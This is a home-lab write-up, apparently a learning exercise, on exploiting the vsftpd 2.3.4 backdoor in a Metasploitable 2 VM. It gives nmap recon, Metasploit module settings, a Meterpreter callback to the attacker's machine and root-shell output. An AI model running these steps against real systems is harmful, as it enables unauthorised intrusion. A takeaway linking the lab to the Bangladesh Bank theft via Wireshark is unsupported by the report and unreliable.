Share
## https://sploitus.com/exploit?id=1D2F15C4-7EC3-59CA-ACD1-FDBFEFE00A2D
# π― vsftpd 2.3.4 Backdoor Exploit β Lab Report
> **Date:** 21 July 2026
> **Attacker:** Kali Linux / Zorin OS (192.168.56.1)
> **Target:** Metasploitable 2 (192.168.56.101)
> **Vulnerability:** vsftpd 2.3.4 Backdoor (CVE-2011-2523)
> **Result:** β
Root shell obtained via Meterpreter
---
## πΈ Lab Setup
```
ββββββββββββββββββββββββββββββββββββββββ
β LAB NETWORK β
β β
β Zorin OS βββ 192.168.56.1 β
β β (Attacker - Metasploit) β
β β β
β βββ Metasploitable 2 β
β β 192.168.56.101 (Target) β
β β β Port 21: vsftpd 2.3.4 π₯ β
β β β Port 22: SSH β
β β β Port 80: Apache β
β β β Port 3306: MySQL β
β β β and 19 more open ports β
β β β
β βββ Kali Linux β
β 192.168.56.102 (Spare VM) β
ββββββββββββββββββββββββββββββββββββββββ
```
---
## π Step 1: Reconnaissance (Nmap)
### Ping Test β Target Alive?
```bash
ping -c 2 192.168.56.101
```
β
**Result:** 2 packets sent, 2 received, 0% loss
### Service Version Scan
```bash
nmap -sV 192.168.56.101
```
**Found 23 open ports!** Key findings:
| Port | Service | Version | Notes |
|------|---------|---------|-------|
| **21** | FTP | **vsftpd 2.3.4** | β οΈ Known backdoor! |
| 22 | SSH | OpenSSH 4.7p1 | Old version |
| 23 | Telnet | Linux telnetd | Unencrypted |
| 80 | HTTP | Apache 2.2.8 | Web server |
| 139/445 | SMB | Samba 3.X | File sharing |
| 3306 | MySQL | 5.0.51a | Database |
| 5900 | VNC | 3.3 | Remote desktop |
| 1524 | bindshell | - | Already backdoored! |
### Vulnerability Scan
```bash
nmap --script vuln 192.168.56.101
```
β
Confirmed broadcast-avahi-dos vulnerability
---
## π₯ Step 2: Exploitation (Metasploit)
### Launch Metasploit
```bash
msfconsole
```
### Select & Configure Exploit
```bash
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
msf6 > set RHOSTS 192.168.56.101
msf6 > set LHOST 192.168.56.1
msf6 > run
```
### π― Successful Exploit Output
```
[+] 192.168.56.101:21 - The target appears to be vulnerable.
[+] 192.168.56.101:21 - Backdoor has been spawned!
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.101:44009)
```
### Meterpreter Shell
```
meterpreter > getuid
Server username: root β β
ROOT ACCESS!
meterpreter > sysinfo
Computer : metasploitable.localdomain
OS : Ubuntu 8.04 (Linux 2.6.24-16-server)
Architecture : i686
meterpreter > pwd
/
meterpreter > ls
/bin, /boot, /etc, /home, /root, /tmp, /usr, /var ...
```
### Normal Shell Access
```bash
meterpreter > shell
whoami β root
id β uid=0(root) gid=0(root)
hostname β metasploitable
```
---
## π Attack Chain Summary
```
ββββββββββββ ββββββββββββ ββββββββββββ ββββββββββββ
β PING β βββΊ β NMAP β βββΊ βMETASPLOITβ βββΊ β ROOT β
β Target β β -sV β β exploit β β SHELL! β
β Alive? β β --vuln β β vsftpd β β β
β
ββββββββββββ ββββββββββββ ββββββββββββ ββββββββββββ
```
---
## π οΈ Tools Used
| Tool | Purpose |
|------|---------|
| Nmap | Port scanning & service detection |
| Metasploit Framework | Exploitation framework |
| Meterpreter | Post-exploitation payload |
| VirtualBox | VM hosting |
---
## π Key Takeaways
1. **Nmap** β Always start with recon. Know your target before attacking.
2. **vsftpd 2.3.4** β Old software = known vulnerabilities. Always check versions!
3. **Metasploit** β Automates exploitation of known CVEs. 2,654+ exploits available.
4. **Root shell** β Full system compromise. You have complete control.
5. **Bangladesh Bank Connection** β The same Wireshark passive listening technique was used by Lazarus Group to steal $81M.
---
## π Next Steps in Learning
```
Day 15 β Phase 1 Review & Quiz
Day 16 β Cryptography I: Hashing vs Encryption
Day 17 β Cryptography II: Symmetric vs Asymmetric
Day 18 β SSL/TLS & PKI
Day 19 β Authentication vs Authorization
Day 20 β Web Recon & Directory Busting
Day 21 β OWASP Top 10
```
---
## β οΈ Disclaimer
> This lab was performed in an **isolated home lab environment** on **Metasploitable 2** β an intentionally vulnerable VM. All activities were authorized and for **educational purposes only**.